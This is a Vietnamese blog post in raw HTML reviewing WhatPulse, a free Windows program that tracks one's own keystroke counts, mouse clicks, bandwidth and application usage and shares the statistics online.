Như SecurityDaily đã đưa tin ngày 03/09/2014, lỗ hổng nguy hiểm trong WordPress đang ảnh hưởng tới nhiều website của Việt Nam và rất nhiều...

Theo dõi hoạt động và sử dụng máy tính của bạn

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;">(Thegioitinhoc.vn) - Có bao giờ bạn muốn biết bạn đã nhấp chuột và bấm trên bàn phím của bạn bao nhiêu lần trong một khoảng thời gian nào đó không? Tự đếm thì chắc là không thể dù bạn muốn, nhưng nếu muốn?! Hoàn toàn bạn sẽ làm được – nghĩa là bạn sẽ theo dõi hoạt động máy tính của mình, bao gồm các phím bấm, cú nhấp chuột, sử dụng băng thông và thời gian hoạt động của hệ thống với phần mềm WhatPulse.<br /><br /><br />WhatPulse là một chương trình miễn phí cho phép quan sát thời gian hoạt động máy tính của bạn, số lượng các tổ hợp phím, sử dụng băng thông và số lần nhấp chuột trong một khoảng thời gian nhất định.<br /><br /><br />WhatPulse đếm số lần bấm phím không giống như keylogger khác ghi lại thứ tự các phím được nhấn. Nó cũng lưu giữ lịch sử chi tiết của bao nhiêu công việc bạn đã thực hiện trên hệ thống máy tính của bạn trong một khoảng thời gian.<br /><br /><br />WhatPulse là một chương trình đơn giản, sau khi tải về, cài đặt trong hệ thống của bạn và sẽ hoạt động trong thời gian thực. Chỉ cần nhấp vào biểu tượng chương trình trên desktop và bạn sẽ có được số liệu chính xác bao nhiêu lần bạn nhấp chuột, bao nhiêu lần sử dụng các phím cùng với một số thông tin khác mà bạn muốn biết.<br /><br /><br />WhatPule cung cấp cho bạn bao gồm:<br /><br /><br />- Tracks your clicks - Theo dõi nhấp chuột của bạn và cung cấp bản đồ sử dụng chuột của bạn. Nó cũng cho phép bạn xuất khẩu hoặc chia sẻ “nóng” bản đồ sử dụng chuột của bạn. <br /><br /><br /><img border="0" height="548" src="http://i.imgur.com/zQTwHGP.jpg" width="640" /><br /><br /><br /><br />- Tracks Internet Usage - Theo dõi việc sử dụng Internet của bạn và cũng có thể phát hiện ra tất cả các ứng dụng đang làm cho internet của bạn chậm do ăn lên băng thông của bạn.<br /><br /><br /><img border="0" height="560" src="http://i.imgur.com/9LZ6XrZ.jpg" width="640" /><br />   <br />- Tracks your keyboard usage – Cung cấp bản đồ sử dụng bàn phím của bạn và theo dõi các phím bạn đã gõ. Bạn cũng có thể chia sẻ “nóng” bản đồ sử dụng phím với người thân đang sử dụng WhatPulse.<br /><br /><br /> <img border="0" height="561" src="http://i.imgur.com/lHmnqbw.jpg" width="640" /><br /><br /><br /> - Monitors your network – Kiểm tra cường độ ứng dụng và cũng theo dõi đầu vào và ra băng thông của bạn.<br /><br /><br />- Application Usage - WhatPulse cũng giữ sự theo dõi các ứng dụng được sử dụng nhiều nhất của bạn.<br /><br /><br />WhatPulse sẽ gửi toàn bộ số liệu thống kê ghi nhận trên trang web mà bạn để giúp bạn “tự nhìn lại và phân tích cuộc sống trên máy tính” của bạn bất cứ lúc nào. Ngoài ra bạn cũng có thể chia sẻ những thống kê này với người khác.<br /><br /><br />Các tùy chọn 'Settings' cho phép bạn thiết đặt chương trình chạy lúc Windows khởi động, kiểm tra phiên bản mới tự động, kích hoạt chế độ portable, ẩn cửa sổ pop-up và nhiều hơn nữa.<br /><br /><br />Trong thử nghiệm, chương trình làm việc tốt trên Windows 8.1, nó hoạt động trong thời gian thực và không ảnh hưởng đến hiệu suất hệ thống.<br /><br /><br />WhatPulse là một chương trình tốt đẹp và đáng tin cậy theo dõi và ghi lại các chi tiết về thói quen máy tính của bạn cùng với các số liệu thống kê như địa chỉ IP, tốc độ tải xuống/tải lên, giao diện mạng, tổng số lượng các lần khởi động lại, sử dụng băng thông và sử dụng ứng dụng. Một chương trình khá thú vị cho bất kỳ ai khi sử dụng máy tính!<br /><br /><br />Bạn xem thêm và tải chương trình về tại: <a href="http://whatpulse.org/">http://whatpulse.org/</a></span></div>

Theo dõi hoạt động và sử dụng máy tính của bạn

(Thegioitinhoc.vn) - Có bao giờ bạn muốn biết bạn đã nhấp chuột và bấm trên bàn phím của bạn bao nhiêu lần trong một khoảng thời gian nào đ...